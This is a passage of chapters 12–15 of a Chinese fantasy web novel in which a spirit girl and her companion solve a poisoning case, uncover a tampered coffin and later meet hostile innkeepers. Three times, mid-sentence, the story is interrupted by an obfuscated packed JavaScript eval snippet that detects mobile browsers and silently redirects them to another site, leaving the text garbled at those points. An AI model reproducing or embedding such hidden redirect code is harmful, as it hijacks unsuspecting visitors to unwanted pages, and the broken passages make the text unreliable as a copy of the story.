以我们早有准备，提前将宋老爷的棺材挖出来放在他处保存，又放了一副假棺材进去。侯啸云派来的人挖走这副棺材后，我们又将宋老爷的棺材放回墓里。”说着乐游推开棺盖，指着棺材说道：“看，我们在这副棺材里放了很多大石头。” “所以方才我们验骨时，侯啸云以为我们是从被调换的假棺材里取的骨头，所以才会那么有恃无恐。没想到吧，你们拿走的是假棺材，真棺材后来又被我们埋进了墓里。”乐游双手叉腰，走到侯老爷面前，冲他露出一抹得意的笑。 侯啸云瞪着一双浑浊的眼睛，恨不得用眼神杀死乐游。他在凳子上挣扎着，被两个衙役更用力地按住了。 “原来如此。”县令皮笑肉不笑道：“仙姑好计谋。” “那这下可算证据确凿，能否定侯啸云的罪？”乐游站在下位，扬起下巴问他。 “自然，侯啸云设计毒害宋老爷，又强占宋府家产，欺凌宋小姐，简直是十恶不赦，来人呐，把他拖下去。”县令又一拍惊堂木。 这件事总算迎来了好结局，往日里的大善人侯老爷一朝变成了人人喊打的过街老鼠，侯府重新变成了宋府。宋小姐为庆祝青云城除祟，命宋府名下的所有商铺向青云城百姓免费开放三日。 “宋小姐，如今你的心结可已解开？”酒桌上，乐游问宋昭清。今日，宋昭清为感谢乐游玄砚二人，特意在宋府为他们设宴。 “自然，这都要感谢两位高人。”说着，宋昭清举起酒杯敬二人。 “那就好那就好。”乐游也学着她的动作举起酒杯，浅浅尝了一口，就被辣的龇牙咧嘴。既然宋昭清的心结已经解开，那恶念之源总该散尽了吧。 觥筹交错间，乐游已经酒足饭饱，她摸着肚子打了个饱嗝儿，思索着什么时候该离开。 这时，宋昭清突然唤小枝为乐游添酒，并开口道：“先前侯啸云将我困在府中，并且遣散了我身边的奴仆，那时小枝为了呆在府中，刻意装作与我不合，加上她那时年岁小，所以便没有被赶出府去。” 宋昭清举起酒杯，朝乐游做出敬酒的动作，然后感激地说道：“后来我神智不清时，小枝又设计来到了我身边。小枝说，我能恢复清明，都是得益于仙姑。小女感激不尽，特敬仙姑一杯。”说完她仰头把酒倒进嘴里。 乐游此时已经有些醉了，她傻呵呵地笑着，也举起酒杯，把杯中的酒一饮而尽。 “没事，这都小菜一碟。” “只是小女有些疑惑，仙姑是如何让小女恢复清明的，小女对那时的记忆毫无印象，只听小枝说，小女那时睡了两天两夜，醒来就恢复平常了。”宋昭清又亲自给乐游倒了杯酒。 “嘿嘿，那是因为我，我......”乐游大着舌头，“我我”了半天，被玄砚一把抱进怀里。 “宋小姐见谅，师姐她不甚酒力，我便先带她回客栈了。”不等宋昭清反应，玄砚已经抱起乐游朝外面走去。 宋昭清没有阻止他，只是盯着他颀长的背影，眼神深幽。 “那日的事，你真的一点也不记得了？” “是，奴婢只记得那日仙姑问奴婢，‘只需要一个梦，故人就可以恢复从前，你可愿意？’”小枝回答道，她极力回想那日的记忆，可仍觉得模模糊糊。 “哦，对了，那夜奴婢真的做了个梦，梦里小姐醒来就恢复清明了，奴婢还梦到了一只小狐狸...它站在小姐的身上，然后然后...奴婢就不记得了。”小枝说。 “一个梦就能让故人恢复从前？有意思。” 12. 宋老爷的棺材 回了客栈，玄砚向小二讨了碗醒酒汤，半喂半灌地总算让乐游喝了下去。 乐游喝完之后，仰躺在床边，半个身子超出了床沿，竟就这样半挂着身子睡着了。 玄砚叹了口气，试图将她移到床中央去，可每次刚移回去不久，她又自己滚到床边，倒挂着睡。往复几次后，玄砚就放弃了。 “孟极一族都这么憨吗，难怪天地间就只剩你这么一只了。”方才在宋府，宋昭清分明是知道了什么，想灌醉她套她的话，她竟毫无察觉。玄砚看着她的睡姿，有些无奈地摇摇头。 宋府着实不简单，玄砚想起了那日宋老爷奇怪的墓碑以及棺材上的桃木钉。他从怀里掏出一枚桃木做的长钉仔细端详着，这枚长钉正是那日棺材上的七星钉，他当时就察觉到了不对，于是偷偷藏了一枚长钉。 此时，月亮正悄悄爬上屋顶，给黑瓦镀上了一层银辉。玄砚轻手轻脚地推开门走了出去，他打算再去宋老爷的墓前看一看。 还没走几步，他又折返回去。房间里的乐游还在熟睡着，窗外的月光借着缝隙洒进房内，在地上印成了一副水墨画。玄砚走到窗边，关上了窗，又走到床边，盯着乐游的睡姿看了半晌。最后脱下身上的外衫盖在乐游的身上，离开了。 今夜的青云城格外热闹，白日里卖糖水的老伯刚卖完最后一碗糖水正准备收拾摊子回家，见到玄砚，老伯热情地朝他招招手，让他和仙姑明日再来他这儿吃糖水。 玄砚点头笑着应了下来，然后穿过长长的夜市来到城门口，城门口有人把守，但这对玄砚来说是小菜一碟，略施小计他便出了城。 出城后，玄砚一路直奔青云山脚下。 宋老爷的坟墓坐落在四山朝拜之地，依山傍水，是一块难得的风水宝地，可以见得宋府的人对他的重视。可宋老爷墓碑上的字居然是阳刻，更奇怪的是，他棺材上的七星钉居然是桃木做的。 因为取骨验尸扰了宋老爷的安宁，所以宋昭清又命人重新打了副棺材，让宋老爷另行下葬，原来的棺材仍埋在地里。 玄砚双指并拢，修长的指尖凝聚起一点火球，在黑夜中几乎要照亮半个山头。玄砚将火球打向刚埋好不久的墓地，“轰——”地一声，平地起惊雷般炸开了宋老爷的坟墓。 只见刹那，从地下破土而出的还有一道黑影。黑影身高约莫九尺，瘦骨伶仃，身上披着破布麻衣。他朝玄砚跑来，身上的骨头架子全靠一层薄得透骨的皮包裹着，随着他奔跑的动作，他一身骨头碰到一起发出沉闷的声音。离得近了，玄砚才发现他的骷髅头上还长着稀薄的花白长发，在空中飘扬着，甚是骇人。 骷髅架子徒手劈向玄砚，玄砚闪身绕到他身后，一脚将它踹到五米开外。它趴在地上挣扎着起来后，又跑向玄砚，它奔跑的速度并不快，甚至还比不上普通成年男子。它一边跑一边张着嘴在空气中乱咬，脑袋歪七扭八地甩着。 玄砚飞身而起，一拳击中它的骷髅头，打得它几乎要散架，趴在地上半晌起不来。 趁它还在挣扎的时候，玄砚已经来到了宋老爷的棺材旁。刚才的那个骷髅架子便是从宋老爷棺材里跑出来的，俗称伏尸鬼，是一种没有思想，灵力微弱的小鬼，全靠吸食死后之人的灵魂过活。 可人死之后，便会有黑白无常来勾魂摄魄，伏尸鬼只会在人刚死魂魄还未散尽时才会出现，宋老爷已死数年，魂魄早已不在人间了，这伏尸鬼为何还会躲在他的棺材里。 玄砚捻起棺材里的白色粉末放在鼻下闻了闻，竟然是石垩。棺材中放石垩是为了防止棺材潮湿腐烂，可石垩亦是属阳，通常会将石垩放在棺材最下方下方，然后用锦布将石垩与死者隔开，可宋老爷的棺材中，并无这层锦布。 玄砚五指成爪，在厚厚的石垩中摸索着什么，果然在里面发现了一枚长铁钉，看来这才是原本棺材上的七星钉，只是不知道被谁调包换成了桃木钉。 玄砚心中已有了计量，他准备离开时，被打得散架的伏尸鬼又朝他跑来。玄砚飞身跃起，反脚将它踹进棺材里，然后盖上了棺材。 棺材上有乐游的神兽之血，伏尸鬼害怕自然不敢轻易推开棺材，加之棺材中宋老爷的尸骨已被移往他处，伏尸鬼无法吸食魂魄，不出几日便会在棺材中虚弱而亡。 玄砚将此处恢复从前后，飞身回了青云城。 第二日，叫醒玄砚的居然是乐游。 乐游鬼鬼祟祟地钻进他的房间，猫着腰蹑手蹑脚来到他的床边，想吓他一跳。 “玄！砚！起！床！啦！”乐游蹲在床边，在他耳边大喊道。 玄砚掀开眼皮，脸上古井无波般平静，早在乐游推开房门的那一瞬间，他就醒了。 “原来你也会赖床呀？”乐游嬉皮笑脸道：“看，我给你买的大肉包，快起来尝尝，可好吃了。”她举起手里的油纸包，一脸的迫不及待。 乐游先拆开油纸包，拿出一个热腾腾的包子叼在嘴里，然后把剩下的都递给玄砚，含糊不清道：“快拿着，趁热吃，等会凉了就不好吃了。” 玄砚坐起身，接过油纸包，问她：“付钱了吗？” “付了付了，我问小二借了铜板，嘻嘻，你等会记得帮我还一下哦。”乐游双手捧着包子大口大口地啃着，听到他的话，忙不迭地点头。 玄砚这才安心吃起了手中的包子，味道确实不错。 一上午玄砚都呆在客栈看书，乐游也抱着那本从陆继那顺来的手记看了一上午。 等太阳挂在最高空时，乐游捂着肚子咂巴着嘴说：“玄砚，我饿了。” 玄砚放下书，问她想吃什么，说着两人并排下了楼。 “哟，两位高人，下来得正巧，我正要上去找你们呢！”在楼梯上与小二碰了个正着，小二连忙叫住他们。 “可是借铜板一事？”玄砚从怀里掏出一串铜板问小二：“乐...师姐问小哥借了多少铜板？” “诶，不是，是宋府派人来寻两位高人了。”小二一摆手，指着柜台前站着的两名杂役，然后伸出手比了个数说：“嘿嘿，早上仙姑问小人借了十五枚铜板。” “多谢。”玄砚将铜板递给小二后，下了楼。乐游也朝小二道了声谢，然后蹦蹦跳跳地跟上了玄砚。 “见过两位高人。”一见乐游玄砚，两个杂役恭敬地朝他们拱手道：“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376743|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家老爷今日下葬，小姐请二位高人到府中为老爷祈福。” 玄砚早就料到宋昭清会再来请他们，他也朝两位杂役拱拱手，随杂役一同去了宋府。 路上乐游问杂役：“两位小哥，宋府准备了我们的午膳没有？” “当然，两位高人可是宋府的贵客，宋府怎敢怠慢二位。” “那就好，嘻嘻。”宋府的饭菜做得甚是美味，乐游回味着昨天吃的肘子、茄饼，感觉自己的口水都要流出来了。 到了宋府，发现宋昭清亲自站在府门前迎接二人。 宋府的午膳准备得也极为丰盛，乐游吃得快要把肚皮撑破了，可惜玄砚不让她喝酒，她原想再尝尝宋府的酒，这酒第一次喝时辛辣无比，但紧接着就会觉得全身舒畅，浑身的经脉都像被打开般，简直快活。 酒足饭饱后，乐游躺在屋子里小憩，玄砚和葬师去了另一个屋商量事情。 葬师是个中年男子，在青云城也颇为有威信，他手下还有一众脚夫。 “这棺材做得真不错。”玄砚看着新做的棺材说道。 “这棺材虽要得急，但我特意嘱咐寿财铺的师傅做得仔细些。”葬师说，这寿财铺也是他手下的。 “做棺材的师傅可是老师傅？”玄砚接着问。 “那是自然，没有几十年的手艺，做不了这么好的棺材。”葬师摸了把胡子得意道：“城中有丧事的人家，大多数都在我家寿财铺定的棺材。” “那数年前，宋老爷的棺材可是也在您家定的？” “是。”葬师肯定道。 玄砚：“您何以这么肯定？我看那棺材平平无奇，远没有这具精致大气。” 葬师一脸神秘地看了他一眼，然后凑近小声说道：“高人，你可有所不知，宋家来定棺材时，提了些奇怪要求，所以我才一直记得。” “什么要求？”玄砚一副好奇的模样，问道。 “宋家那时也算是富贵人家，可定的棺材却是最普通的，这也就算了。可宋家的人居然要求把封棺材的七星钉换成桃木钉，把棺材里隔石垩的锦布给撤了，你说你说...不仅如此，宋老爷的墓碑也做得不合礼制。”葬师脸上写满了不可言说：“好歹是一家的老爷，居然这么不讲究。” 玄砚也皱起眉头，附和道：“确实，莫不是小辈不懂规矩才这么做的？” 葬师摇摇头，神秘地说道：“来定棺材的虽然是个年轻伙子，但寿财铺的伙计师傅都劝过他这样不合礼制，可他付了双倍工钱，非要我们这样照做。也不知道是不是跟这宋老爷有仇，让他死了也不能超生。” “为何这样说？” “高人难道不知道？在青云城有这样个说法，桃木钉镇邪祟，石垩属阳，这是活脱脱的要镇住宋老爷的魂，让他不得入轮回之道！”葬师有些痛心疾首道。 “竟是如此......” “那日，送葬的半路上，为首的引魂鸡也给放跑了，怎么找都找不到。为了不耽误下葬的时辰，脚夫们只能继续走。回来后，给宋老爷抬棺的脚夫都说，宋老爷的棺材是他们抬过最重的棺材，恐怕宋老爷在天有灵也不甘心罢。” 13. 你是不是在担心我？ 乐游只睡了一小会就被窸窸窣窣的嘈杂声吵醒，她听力极好但她睡得也沉，早就习惯了伴着嘈杂声入睡，这次被吵醒是因为她听到了一道熟悉的男声。 乐游循声找到一间厢房，躲在屋顶上偷听。 “阿兄，这几年你在外面过得还好吗？”是宋昭清的声音。 “我过得很好，劳烦宋小姐挂心了。”男声说，乐游愈发觉得这声音耳熟。 “当初侯啸云将阿兄赶出门，我年幼无能，不能阻止他。现在宋府已经是我当家了，阿兄不如就留在宋府吧。”宋昭清挽留道。 那男声顿了顿，许久后才说：“多谢宋小姐好意，但是我现在很好，我也习惯了当衙役的生活。”乐游突然想起了当初县令派给她的那两名杂役，这声音正是那个名字奇怪沉默寡言的衙役的，他不常说话，所以乐游一时间没认出他的声音。没想到他居然就是宋昭清被赶出的义兄。 乐游耳朵贴在瓦面上，继续听他们说。 “宋小姐，没什么事我就出去了，等会儿宋老爷下葬，我会在一旁护送。”接着传出一阵脚步声。 “阿兄有心了。”又一阵脚步声响起，有些急促，脚步声的主人说：“阿爹在世时最是器重阿兄了，连我这个亲生的女儿都比不上。就连阿爹去世时也只叫你一人守在他床边。” “宋小姐误会了，当时宋小姐年幼，宋老爷担心吓到宋小姐才会只让我一人守在床边。”沈宋回答道。 “那去世前，阿爹可有跟阿兄说些什么？”宋昭清顺着他的话问道，语气几分急切。 “宋老爷嘱咐我照顾好宋小姐和宋府，可惜我没有做到，实在是愧对九泉之下的宋老爷。”乐游看不见沈宋脸上的表情，但是通过语气可以感觉到他一定满脸愧疚。 “还有呢？”宋昭清追问道。 “只有这些，宋老爷走得突然，还未......” “骗子！”宋昭清打断了他的话：“当年侯啸云和你说的话我都听到了，他赶你走难道只是因为你和他做对吗，他是为了那笔财产吧？” “什么财产，我听不懂。”沈宋声音平静。 “你别装了，阿爹一直想要个儿子接手宋府，可惜我是个女儿身，所以阿爹一直把你当作亲生儿子看待，他早就打算百年后让你接手宋府。他死前一定跟你说过那笔财产的下落，不然你怎么甘心就这么离开宋府！”宋昭清寒声说。 “阿清。”沈宋没再叫她宋小姐而是像小时候一样唤她，声音有些低沉：“没有这笔财产，当初离开宋府，我是迫不得已的。都是我无能没有保护好你，才会让你这几年受了这么多委屈。”说着他声音有些哽咽。 “哼，我才不需要你的保护，我只要拿回属于我的东西。”宋昭清冷哼一声，并不领情，她早就料到沈宋不会轻易说出那笔财产的下落：“我自会亲自查明这笔财产的下落，不管是被谁私吞了，我都要让他吐出来。” “阿清，宋府如今家大业大可保你一生衣食无忧，就别再去追究以前的事了。那笔财产没有那么简单......”沈宋的声音有些痛苦。 “所以，真的有这笔财产？” “阿清......” “你应该叫我宋小姐，你现在只是一个小小的衙役，还没资格这么叫我。”没有得到自己想要的答案，宋昭清不想与他再多纠缠，下了逐客令：“你该走了，光天化日之下，孤男寡女共处一室，传出去我的名声岂不是更差了。” 话音落地，一道开门声响起，沈宋被推出去后，门从里面关上了。 乐游探出头看了一眼，差点被发现，又连忙低下头趴在屋顶上一动不敢动。 等沈宋走远了，乐游才敢抬起头，她准备再听听宋昭清屋子里的动静，可屋子里除了偶尔传来的一阵瓶罐碰撞的声音外再没有别的声音，乐游听着听着眼皮越来越重，一个没忍住，脑袋一歪趴在屋顶睡着了。 等乐游醒来时，天色已深。没想到自己这么能睡，玄砚找不到自己一定很着急，醒来后乐游下意识想道。她踩在屋顶上疾步跑向城中客栈。 “小哥，我师弟回来了没？”路过柜台时，乐游问小二。 “回来了回来了，我还问高人怎么没跟仙姑一起呢！”小二答道。 得知玄砚回来后，乐游径直去了玄砚的房间。站在他房前，乐游在想自己要不要找个借口解释一下自己为什么一下午都不见踪影，不过没等她想到，房门被打开了。 “站在我门前作何？”玄砚面无表情。 乐游朝他咧开一抹笑：“你这么快就回客栈啦。” 玄砚没回她，转身进了屋里。 乐游跟在他身后，巴巴地跟他说话，问他下午给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382166|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋老爷祈福还顺利吗？ “嗯。”不管说什么，玄砚都只是冷淡地“嗯”一声。 “别生气了，我下午不是故意找不见的，我...我下午听到了一个秘密。”乐游绞尽脑汁地哄他，突然想起了下午听到的对话，于是一五一十把听到的都告诉了玄砚。 说完后，乐游一脸八卦地问：“你说，那笔财产是不是真的被沈宋私吞了？” “与我无关。”玄砚连一个眼神都没给她。 乐游：“......” “那明天早上你还想吃肉包子吗？我再给你买。”乐游契而不舍地问：“这总和你有关系吧。” “不吃，没钱。” “我有钱！我会点石成金！我给你变好多好多金子，你就别生我的气了。”乐游兴奋道，孟极一族除了能使人梦境成真外，还有一神力就是点石成金。 这次玄砚终于正眼看她了，只是眼神犀利，语气严肃：“这里是人间！人间不可擅用神力。” “只是悄悄地用一下，没关系的。”乐游在他的目光下，声音越来越小。 “宋昭清恢复清明是不是因为你使用了神力？” “是...但是我帮了她，我在做好事呀！如果她没有恢复就不能揭穿侯啸云那个大坏蛋的阴谋。”乐游并不觉得自己做错了什么。 “但她现在怀疑你，而且盯上了你。她三番两次想灌你酒，就是为了利用你。”玄砚厉声道：“如果有心人利用你，再酿下大祸怎么办？” “不会的...”乐游嗫嚅道，难怪今日玄砚不许她再喝酒。 “不会的？那为何你会闯进我的梦里，为何恶灵会被放出？”玄砚的脸上终于有一丝表情，只是看得乐游面色发白。 “对...不起...”乐游心虚又自责地说：“是我的错，我...我以后再也不会这样了。” 玄砚脸色缓和些后才说：“宋府的事与我们无关，除掉恶灵后，我们就离开这里。你以后少与宋府的人接触，也...也不要一个人到处乱跑，人间远比你想的复杂。” 这是玄砚今天跟她说过最长的一句话，乐游听话地点点头，偷偷用余光打量他的表情，见他没那么生气后，朝他俏皮地眨眨眼说：“你是不是在担心我？” “...夜深了，我要睡了。” “哦。” 14. 再见！青云城！ 青云城诸事已了结，县令归心似箭，天不亮就带着衙役回县里了。这还是乐游吃早饭时听小二说的。 “所有的衙役都回县里了吗？”乐游想问的是沈宋回衙役了吗，可又觉得这样问太过刻意。 “那是自然，官爷们都要回去述职的，这次抓了侯啸云，破了桩陈年旧案，应当是有功的。”小二随口回应道。 乐游点点头，继续吃碗里的粥。 “对了，仙姑，你知不知道，城西的贾夫人开了间女子学堂，青云城中的女子，无论年岁，都可以去学堂学习诗书，分文不取。”小二凑上来跟乐游说：“不过女子学习诗书有何用，又不能考取功名。” “女子为何不能考取功名？”乐游低着头看碗里的粥，小二瞧不清她脸上的神色，只觉得自己说了不该说的话，于是讪讪一笑离开了。 乐游吃完剩下的粥后，又端着一碗去了玄砚房里。她没敲门，直接进去了。 “玄砚，吃饭了。” 玄砚正在床上打坐，乐游把粥放在桌子上后走到床前，对他说道。 玄砚缓缓睁开眼睛，眼中一片浊红，吓了乐游一跳。 “你不会一晚上没睡吧？” “不是。”玄砚声音低缓。 玄砚喝粥的期间，乐游双手托腮坐在桌边，试探地问：“玄砚，恶灵...收伏了吗？” “嗯。” “什么时候？我怎么不知道？”乐游突然坐直了身子，瞪圆了眼睛，一脸惊讶。 “你趴在屋顶睡着的时候。” “......好吧”乐游像泄了气的皮球，不一会儿又契而不舍地问：“那宋小姐没怀疑你吧？” “没有。” “我们今天就要离开青云城了吗？”乐游继续问。 “嗯。” “粥好喝吗？” 玄砚喝粥的动作一顿，问她：“你想说什么？” “没什么呀。”乐游装作很忙的样子四处张望一阵，然后一脸期盼地看着玄砚，小心翼翼地说：“你还记得城西贾夫人吗？她办了个女子学堂。” “记得。” “我们能不能在走之前去城西看一看？”乐游作出祈求状，若是身后有尾巴，此时一定会摇起来。 “可以。” “真的？！”乐游眼睛里迸发出耀眼的光芒，她还以为玄砚不许她去呢。 “我昨夜说那些话，只是担心你被有心人利用，并非限制你自由的意思。”玄砚吃完了碗里的粥，放下勺子，站起身对乐游说：“走吧，不是要去城西吗？” “诶！好！”乐游还在思考他的话，听他这么说，连忙跟在他身后。 城西本就富裕，几家大户人家都在城西，如今因为贾夫人办的女子学堂更热闹了。 贾夫人的女子学堂另换了位置，乐游问了几个路人才找到新学堂。 一见到乐游，贾夫人很是开心，她一边扶着肚子，一边从人群中挤出来。 “玄砚公子，乐游姑娘，你们来啦？”贾夫人的肚子已经有些显怀，乐游记得上次见面，她的肚子还没这么大。 “嗯嗯，我听说贾夫人办了女子学堂，便想来凑凑热闹。”乐游笑着说，手无意识地抚上贾夫人的肚子。等碰触到贾夫人的目光时才反应过来，快速地收回手，不好意思道：“对不起。” 贾夫人拉住她收回的手贴在自己肚子上，温柔地说：“没关系，不过现在她还小，等再过几个月，就可以感觉到她踹你啦。” “真的吗？好神奇！”乐游一脸好奇又惊喜地摸了摸掌心鼓起的腹部，心下一片柔软，不久后，就会有一只可爱的人类幼崽诞生。 “嗯哼。”贾夫人语气愉悦：“等孩子出生了，乐游姑娘和玄砚公子一定要来吃喜酒啊！” 乐游重重地点头，眼睛亮晶晶地看向玄砚。玄砚也点点头，应了句好。 “哎呀，都怪我光顾着叙旧，都没请二位进屋喝杯茶。”说着贾夫人将二人迎进学堂里。 “宋小姐也在呀。”没想到宋昭清也在里面，乐游冲她打了个招呼。 “对呀，我能办起女子学堂还要感谢宋小姐呢！”贾夫人给乐游和玄砚倒茶。 宋昭清客气道：“不过是略尽绵薄之力，出了些银两罢。” 这时，屋外有人喊道：“苏女师，有人来报名啦！” “诶！”贾夫人高声应道，然后低声对几人说：“不好意思，学堂刚开办有些繁忙，怠慢几位了。” “没事。” “不打紧。” 乐游和宋昭清同时开口说道。 等贾夫人走后，屋内陷入一片死寂，因着前几天玄砚的提醒，乐游现在不欲主动与宋昭清说话。但宋昭清主动开口问她：“仙姑昨日下午可是先回了客栈？玄砚高人找不着仙姑可着急了。” “啊？嗯......”乐游支支吾吾地点点头，用余光瞥了眼身旁一脸淡然的玄砚，他着急起来是什么样子呢。 “两位日后还会留在青云城吗？”气氛有些尴尬，宋昭清找了个话题。 “我们今日便要离开了。”乐游摇摇头：“听说贾夫人办了女子学堂，便想着先来拜访一番，下午我们就要走了。” “如此也好，两位高人都是济世之才，呆在青云城这样的边陲小城岂不是埋没了二位。”宋昭清眉眼精致，红唇轻启，看向窗外的目光中有一丝乐游看不懂的意味。乐游莫名地觉得她有些孤寂。 乐游垂下眸子，喝了口茶水后，清了清嗓子缓缓说道：“青云城这样的边陲小城却生出了宋小姐、苏女师和李...李夫人这样的女子，想必从今以后，青云城再也不是一个普通的边陲小城。” 宋昭清收回目光看向乐游，双眸盛满茫然：“什...什么？” “呵......自恨罗衣掩诗句，举头空羡榜中名罢，仙姑不用安慰我了。”宋昭清自嘲道。（注1） “两位高人离开青云城后准备去往何方？”宋昭清自觉这个话题过于沉闷于是话头一转对乐游和玄砚说：“不管去何方，一路都要舟车劳顿一番，这是我的一点心意，希望两位高人能收下。”她从腰间解开一个荷包，塞到乐游手上。 “不不。”乐游连连摆手，拒绝道：“这些钱留着给苏女师办学堂，她比我们更需要这些银两。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396958|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乐游仙姑不必担心，只要宋府一日不倒，这女子学堂便不用担心银两的问题，还请仙姑收下吧。” 乐游偏头看着玄砚，向他投去求助的目光。 “高人收下吧。”见乐游迟迟不肯收，宋昭清转身把荷包塞到玄砚怀里。 玄砚掂量着手里沉甸甸的荷包，从里面取出一锭碎银，然后将剩下的递回给了宋昭清：“宋姑娘的好意，我和师姐心领了。” 宋昭清的目光在他们两人间打转，半晌后，无奈一笑：“罢了，是我强人所难了，那昭清就祝两位高人此去一路顺遂，诸事欢愉。” “多谢！”乐游玄砚齐声道。 两人出学堂时，学堂前仍是人头攒动。 “这么多女子都来学堂报名呀！”乐游跟玄砚感慨道。 没等玄砚回答，旁边一道女声插进来说道：“是呀，这么多人，等会儿轮到我不知道还有没有豆腐可以领。” “豆腐？”乐游疑惑反问。 “嗯。”那妇人见是乐游和玄砚，便小声解释道：“苏女师说，凡是来学堂学习诗书的女子不仅分文不取，每月还可领米肉油粮。这不，今日只要报名了，就可以领一块豆腐。这豆腐是李氏家的，以往我想买还得起个大早呢。” 乐游扯了扯嘴角，说：“原来如此。” 和那妇人告辞后，乐游玄砚两人回了客栈收拾行李，临走时，小二跑出来对乐游说：“仙姑，今天早上是我嘴笨，说了不该说的话。” 小二有些局促地来回搓着手，他跑回柜台，从里面拿出一个油纸包裹的长条物什递给乐游：“仙姑，这就...就当是我的赔礼了，若仙姑不怪罪我了，就请收下吧。” 乐游本就没有怪罪他的意思，接过他手上的油纸包，轻嗅一下，双眼放光：“是糖葫芦！多谢小哥！！！” 小二不好意思地抓了抓后脑勺，嘿嘿傻笑，一直到乐游的背影渐行渐远才回过神来，此时耳边只剩一句：“再见啦！” 出客栈后，玄砚去买了一辆马车，说要去县里。马车并不便宜，乐游肉疼地看着玄砚递出去的铜板。 “我们为什么要用马车去县里？”从青云城到县里的距离对于凡人来说可能算得上路途遥远，可对他们来说，不过是一两个时辰费些灵力的小事。乐游坐在马车里不解地问。 “驾！”玄砚驭马，马儿撒腿跑得很欢快，他回答乐游说：“坐马车可以看看沿途的风景。” “是吗？”乐游把脑袋伸出马车外，猝不及防地吃了一嘴尘土，她兴致缺缺地缩回脑袋，倒在软榻上合着眼。 马车颠簸，乐游在颠簸中进入了梦乡。孟极一族其实是没有梦境的，但乐游仍觉得眼前闪过青云城中遇到的每一个人的身影。 等马车停止颠簸后，乐游缓缓地醒来。 玄砚掀起帷幔对睡眼惺忪的乐游说：“下车吃点东西，我们今夜就在这里休息。” “好。”乐游跳下马车，见不远处隐隐有一点火光。 乐游和玄砚对视一眼后，朝那方向走去。 临近火光，看清火光旁坐着的那人，乐游不禁有些惊讶道： “是你？” 15. 黑店 “你不在青云城当你的陆神医，跑到这荒郊野外做什么？”乐游坐到陆继身旁，咬了一口邦邦硬的饼，问他。 “......”陆继不语，抱紧了怀里的包裹，警惕地看了乐游一眼后，走到一棵大树下。 “......” 此后一夜无话，乐游睡在马车里，玄砚守在马车外，火堆燃烧了一夜，天光将明之际才熄灭。 第二日，乐游和玄砚继续往县城去，一路奔波后，日暮时终于看见了一家客栈，客栈从外观看有些破破烂烂，但肯定好过在外风餐露宿。 玄砚系好马车后，与乐游一起走进客栈。 客栈冷清，不过在这荒郊野岭的，若这客栈生意好才奇怪。 “两位要几间房？”小二放下手里的算盘，眼珠上下打量着两人。 乐游不喜欢他的眼神，往玄砚身后躲了躲，说道：“两间。”她伸出两个指头。 “一间就好了。”玄砚身形微斜，将乐游护在身后。 “上房下房？”小二语气冷淡。 “下房。” “五百文。”小二继续摆弄算盘，头都懒得抬。 “什么？怎么这么贵！”乐游惊呼，这比在青云城住的上房还要贵上许多。 “怎么？嫌贵可以不住呀。”小二掀了掀眼皮，不耐烦道。 乐游扯了扯玄砚的袖子，轻声说：“要不我们今晚就在外面凑合一晚吧。” 玄砚双目骤然一深，盯着小二的眼神深沉。片刻后，他拉着乐游走出了客栈。 现在天色还不算太晚，玄砚把马车牵到客栈不远处，把干粮分给乐游。 等夜深后，乐游钻进马车，玄砚仍守在外面。 “要不今夜我们换一换，你睡马车，我在外面守着。”乐游拉开帷幔对玄砚说。 “不必了。”玄砚单支起腿，靠在马车上，仰头盯着夜空。 乐游也跟随他的目光看向夜空，可今夜无星也无月，甚是无聊。乐游看了一会儿就开始打哈欠，头一点一点的，迷迷糊糊睡着了。 深夜时分，万籁俱寂，树下草根间的虫鸣声都弱了些，一道尖锐的求救声突然响起： “救命啊！！！” 乐游骤然被惊醒，突地坐起身子。 玄砚也醒了，问她：“怎么了？” “你听到了没，有人在喊救命。”乐游朝某个方向侧耳仔细听着：“好像还有什么碎掉的声音。” “声音好像是从客栈传出来的。”乐游指着客栈的方向说。 客栈的门关着，里面有微薄的光亮，玄砚一脚踹开木门，力道之大，木门摇摇欲坠。 门口处的动静吸引了客栈中打斗的几人，几人的目光齐刷刷看向乐游和玄砚。 “又是你们两个穷鬼，奉劝你们别多管闲事！”暮时神色冷淡的小二，此时脸上挂着的神情可以称得上恐怖。他右手举着一把铁算盘，算盘上的血珠刚好滴落在他崎岖的脸上，显得凶恶无比。 而在他脚下，躺着一个身穿灰布衣的男人，一动不动，看不出死活。 乐游觉得地上的这人有些眼熟，可惜他的脸偏向另一边，乐游只能看到他的后脑勺。 “喂，没听到我说的话吗？还不滚出去。”小二狠戾道。 “索性一起干掉。”另一个彪形大汉说，他手里拎着一把菜刀，刀刃反射出刺眼的光芒。 乐游微眯着一双眸子，朝他们龇了龇牙。 